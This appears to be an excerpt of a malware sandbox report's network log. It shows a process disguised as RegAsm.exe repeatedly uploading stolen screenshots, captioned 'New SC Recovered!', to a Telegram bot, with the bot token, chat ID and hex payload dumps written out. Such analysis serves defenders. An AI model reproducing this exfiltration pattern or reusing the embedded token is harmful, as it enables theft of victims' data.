2024-05-24 05:44:54 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:44:54 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:44:54 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:44:54 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:44:54 UTC	1179	OUT	Data Raw: 56 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b 06 8a 99 45 49 59 91 38 29 ab 33 d3 34 dd 4e ee e5 b6 bd e6 d8 10 65 e4 3b 41 c7 a6 ee bf ad 65 78 ab c4 f0 49 6a f6 16 12 09 0c 83 12 48 bd 00 f4 1e b5 c4 51 5c 8f 06 a7 55 54 a8 ef 6d 91 b5 29 ba 54 dc 17 5e a1 45 14 57 71 01 5a fa 46 a8 b0 27 d9 e7 38 4f e1 6f 4f 6a 64 3e 1c d5 e7 85 26 8e d3 74 72 28 65 3e 62 0c 83 c8 ef 4f ff 00 84 5f 5a ff 00 9f 2f fc 8a 9f e3 4a 54 dc 95 9a 33 9f 24 95 9b 3a fd 33 54 bc 99 92 18 ae c7 97 fd fc 29 2a be cc 79 15 1f 88 bc 51 6d 69 68 f6 d6 53 09 ae 58 15 dc a7 21 3d f3 dc d7 29 ff 00 08 be b5 ff 00 3e 5f f9 15 3f c6 8f f8 45 f5 af f9 f2 ff 00 c8 a9 fe 35 c7 3c 03 ab 35 2a 8d b4 ba 1a d0 aa a8 c5 c5 3d 5f 53 1e 8a d2 1a 0e a8 c0 11 6b c1 e7 ef af f8 d6 7c b1 bc 52 bc 52 0c 3a Data Ascii: V `2+EIY8)34Ne;AexIjHQ\UTm)T^EWqZF'8OoOjd>&tr(e>bO_Z/JT3$:3T)yQmihSX!=)>_?E5<5=_Sk\|RR:
2024-05-24 05:44:54 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 37 38 34 39 32 64 39 33 37 37 30 2d 2d 0d 0a Data Ascii: -----------------------------8dcc78492d93770--
2024-05-24 05:44:54 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:44:54 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49722	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:00 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dccb6d9b422ea1 Host: api.telegram.org Content-Length: 66765 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:45:00 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:45:00 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 62 36 64 39 62 34 32 32 65 61 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 62 36 64 39 62 34 32 32 65 61 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 39 2f 30 32 2f 32 30 32 34 20 31 36 3a 33 37 3a 35 37 0a 55 73 65 72 Data Ascii: -----------------------------8dccb6d9b422ea1Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dccb6d9b422ea1Content-Disposition: form-data; name="caption"New SC Recovered!Time: 09/02/2024 16:37:57User
2024-05-24 05:45:00 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:45:00 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:45:00 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:45:00 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:45:00 UTC	1179	OUT	Data Raw: 56 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b 06 8a 99 45 49 59 91 38 29 ab 33 d3 34 dd 4e ee e5 b6 bd e6 d8 10 65 e4 3b 41 c7 a6 ee bf ad 65 78 ab c4 f0 49 6a f6 16 12 09 0c 83 12 48 bd 00 f4 1e b5 c4 51 5c 8f 06 a7 55 54 a8 ef 6d 91 b5 29 ba 54 dc 17 5e a1 45 14 57 71 01 5a fa 46 a8 b0 27 d9 e7 38 4f e1 6f 4f 6a 64 3e 1c d5 e7 85 26 8e d3 74 72 28 65 3e 62 0c 83 c8 ef 4f ff 00 84 5f 5a ff 00 9f 2f fc 8a 9f e3 4a 54 dc 95 9a 33 9f 24 95 9b 3a fd 33 54 bc 99 92 18 ae c7 97 fd fc 29 2a be cc 79 15 1f 88 bc 51 6d 69 68 f6 d6 53 09 ae 58 15 dc a7 21 3d f3 dc d7 29 ff 00 08 be b5 ff 00 3e 5f f9 15 3f c6 8f f8 45 f5 af f9 f2 ff 00 c8 a9 fe 35 c7 3c 03 ab 35 2a 8d b4 ba 1a d0 aa a8 c5 c5 3d 5f 53 1e 8a d2 1a 0e a8 c0 11 6b c1 e7 ef af f8 d6 7c b1 bc 52 bc 52 0c 3a Data Ascii: V `2+EIY8)34Ne;AexIjHQ\UTm)T^EWqZF'8OoOjd>&tr(e>bO_Z/JT3$:3T)yQmihSX!=)>_?E5<5=_Sk\|RR:
2024-05-24 05:45:00 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 62 36 64 39 62 34 32 32 65 61 31 2d 2d 0d 0a Data Ascii: -----------------------------8dccb6d9b422ea1--
2024-05-24 05:45:01 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:45:01 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49723	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:03 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcce4615a1f8c7 Host: api.telegram.org Content-Length: 66765 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:45:04 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:45:04 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 65 34 36 31 35 61 31 66 38 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 65 34 36 31 35 61 31 66 38 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 39 2f 30 36 2f 32 30 32 34 20 30 37 3a 32 32 3a 33 35 0a 55 73 65 72 Data Ascii: -----------------------------8dcce4615a1f8c7Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dcce4615a1f8c7Content-Disposition: form-data; name="caption"New SC Recovered!Time: 09/06/2024 07:22:35User
2024-05-24 05:45:04 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:45:04 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:45:04 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:45:04 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:45:04 UTC	1179	OUT	Data Raw: 56 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b 06 8a 99 45 49 59 91 38 29 ab 33 d3 34 dd 4e ee e5 b6 bd e6 d8 10 65 e4 3b 41 c7 a6 ee bf ad 65 78 ab c4 f0 49 6a f6 16 12 09 0c 83 12 48 bd 00 f4 1e b5 c4 51 5c 8f 06 a7 55 54 a8 ef 6d 91 b5 29 ba 54 dc 17 5e a1 45 14 57 71 01 5a fa 46 a8 b0 27 d9 e7 38 4f e1 6f 4f 6a 64 3e 1c d5 e7 85 26 8e d3 74 72 28 65 3e 62 0c 83 c8 ef 4f ff 00 84 5f 5a ff 00 9f 2f fc 8a 9f e3 4a 54 dc 95 9a 33 9f 24 95 9b 3a fd 33 54 bc 99 92 18 ae c7 97 fd fc 29 2a be cc 79 15 1f 88 bc 51 6d 69 68 f6 d6 53 09 ae 58 15 dc a7 21 3d f3 dc d7 29 ff 00 08 be b5 ff 00 3e 5f f9 15 3f c6 8f f8 45 f5 af f9 f2 ff 00 c8 a9 fe 35 c7 3c 03 ab 35 2a 8d b4 ba 1a d0 aa a8 c5 c5 3d 5f 53 1e 8a d2 1a 0e a8 c0 11 6b c1 e7 ef af f8 d6 7c b1 bc 52 bc 52 0c 3a Data Ascii: V `2+EIY8)34Ne;AexIjHQ\UTm)T^EWqZF'8OoOjd>&tr(e>bO_Z/JT3$:3T)yQmihSX!=)>_?E5<5=_Sk\|RR:
2024-05-24 05:45:04 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 65 34 36 31 35 61 31 66 38 63 37 2d 2d 0d 0a Data Ascii: -----------------------------8dcce4615a1f8c7--
2024-05-24 05:45:04 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:45:04 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49724	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:05 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcd0bba16aab02 Host: api.telegram.org Content-Length: 66765 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:45:06 UTC	25	IN	HTTP/1.1 100 Continue
